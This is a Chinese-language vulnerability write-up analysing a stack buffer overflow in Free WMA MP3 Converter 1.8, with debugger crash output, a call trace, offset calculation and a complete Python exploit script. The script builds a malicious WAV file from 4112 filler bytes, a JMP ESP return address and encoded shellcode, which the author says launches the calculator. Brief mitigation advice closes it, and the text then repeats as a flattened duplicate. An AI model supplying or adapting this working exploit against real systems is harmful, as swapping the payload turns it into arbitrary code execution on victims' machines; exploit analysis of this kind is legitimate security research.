FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞 调试
字数 1163 2025-08-06 08:35:41

FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞分析与利用

漏洞概述

FREE WMA MP3 CONVERTER 1.8版本在处理WAV音频文件时存在缓冲区溢出漏洞,攻击者可以通过构造恶意的WAV文件,在目标系统上执行任意代码。

调试环境准备

漏洞分析

漏洞位置

漏洞发生在FWMCon.exesub_4B0FF4函数中。该函数在转换文件格式时,复制音频文件数据时未对文件长度进行有效检查,导致缓冲区溢出。

漏洞触发流程

  1. 程序加载恶意构造的WAV文件
  2. 进入漏洞函数sub_4B0FF4
  3. 函数内部通过循环(loc_4b102f, loc_4b14b9, loc_4b14e3)读取文件数据
  4. 由于缺乏长度检查,导致缓冲区被覆盖

关键调试过程

  1. 使用Windbg运行程序并加载POC文件,程序崩溃时寄存器状态:

    eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
    eip=41414141 esp=01e3fee8 ebp=41414141
    
  2. 栈回溯分析:

    0:005> kb
    ChildEBP RetAddr  Args to Child              
    01e3fee4 41414141 41414141 41414141 41414141 0x41414141
    01e3ffa0 00404172 01e3ffdc 00403cc8 01e3ffb4 0x41414141
    
  3. 通过OllyDbg设置断点跟踪执行流程:

    • 00404170 ffd2 call edx
    • 00421a6c ff5204 call dword ptr [edx+4]
    • 004ad284 ff523c call dword ptr [edx+3Ch]
    • 004b42c1 e8728dffff call 004ad038
    • 004ad067 ff5244 call dword ptr [edx+44h]
    • 004ad771 ff5268 call dword ptr [edx+68h]
    • 004af66f e880190000 call 004b0ff4 (漏洞函数)
  4. 漏洞函数内部循环分析:

    • 每轮循环读取一个字符
    • EBX寄存器记录已读取的字符数
    • 当EBX=10C4(4292)时,栈空间已被完全覆盖

漏洞利用

偏移量计算

  • 漏洞函数从栈底1010h(4112)处开始存储变量
  • 因此需要4112字节填充数据才能覆盖返回地址

利用方法

使用JMP ESP技术进行利用:

  1. 填充4112字节垃圾数据
  2. 覆盖返回地址为JMP ESP指令地址(0x0045CD1A)
  3. 添加NOP雪橇(20-30字节)
  4. 放置shellcode

完整EXP

import struct

def little_endian(address):
    return struct.pack("<L",address)

poc = "\x41" * 4112
eip = little_endian(0x0045CD1A)  # JMP ESP地址
nops = "\x90" * 20
shellcode = (
    "\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
    "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
    "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
    "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
    "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
    "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
    "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
    "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
    "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
    "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
    "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
    "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
    "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
    "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
    "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
    "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
    "\x8b\x15\x7b\xd2\x2b\xbf\x83"
)

exploit = poc + eip + nops + shellcode

try:
    rst = open("bof_WMA MP3 Converter.wav", 'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"

利用注意事项

  1. NOP雪橇长度需要控制在20-30字节之间,过长或过短都可能导致利用失败
  2. Shellcode是弹出计算器的代码
  3. 实际测试中发现NOP数量在10-30之间时能成功弹出计算器

防护建议

  1. 更新到最新版本软件
  2. 对输入文件进行严格长度检查
  3. 启用DEP、ASLR等防护机制
  4. 对文件解析过程进行边界检查

参考资源

  • 原始漏洞分析文章(原文链接已不可用)
  • Exploit-DB相关条目
FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞分析与利用 漏洞概述 FREE WMA MP3 CONVERTER 1.8版本在处理WAV音频文件时存在缓冲区溢出漏洞,攻击者可以通过构造恶意的WAV文件,在目标系统上执行任意代码。 调试环境准备 操作系统:Windows XP SP3 调试工具: WinDbg OllyDbg IDA Pro 软件下载: Free WMA MP3 Converter 1.8 漏洞分析 漏洞位置 漏洞发生在 FWMCon.exe 的 sub_4B0FF4 函数中。该函数在转换文件格式时,复制音频文件数据时未对文件长度进行有效检查,导致缓冲区溢出。 漏洞触发流程 程序加载恶意构造的WAV文件 进入漏洞函数 sub_4B0FF4 函数内部通过循环( loc_4b102f , loc_4b14b9 , loc_4b14e3 )读取文件数据 由于缺乏长度检查,导致缓冲区被覆盖 关键调试过程 使用Windbg运行程序并加载POC文件,程序崩溃时寄存器状态: 栈回溯分析: 通过OllyDbg设置断点跟踪执行流程: 00404170 ffd2 call edx 00421a6c ff5204 call dword ptr [edx+4] 004ad284 ff523c call dword ptr [edx+3Ch] 004b42c1 e8728dffff call 004ad038 004ad067 ff5244 call dword ptr [edx+44h] 004ad771 ff5268 call dword ptr [edx+68h] 004af66f e880190000 call 004b0ff4 (漏洞函数) 漏洞函数内部循环分析: 每轮循环读取一个字符 EBX寄存器记录已读取的字符数 当EBX=10C4(4292)时,栈空间已被完全覆盖 漏洞利用 偏移量计算 漏洞函数从栈底1010h(4112)处开始存储变量 因此需要4112字节填充数据才能覆盖返回地址 利用方法 使用JMP ESP技术进行利用: 填充4112字节垃圾数据 覆盖返回地址为JMP ESP指令地址(0x0045CD1A) 添加NOP雪橇(20-30字节) 放置shellcode 完整EXP 利用注意事项 NOP雪橇长度需要控制在20-30字节之间,过长或过短都可能导致利用失败 Shellcode是弹出计算器的代码 实际测试中发现NOP数量在10-30之间时能成功弹出计算器 防护建议 更新到最新版本软件 对输入文件进行严格长度检查 启用DEP、ASLR等防护机制 对文件解析过程进行边界检查 参考资源 原始漏洞分析文章(原文链接已不可用) Exploit-DB相关条目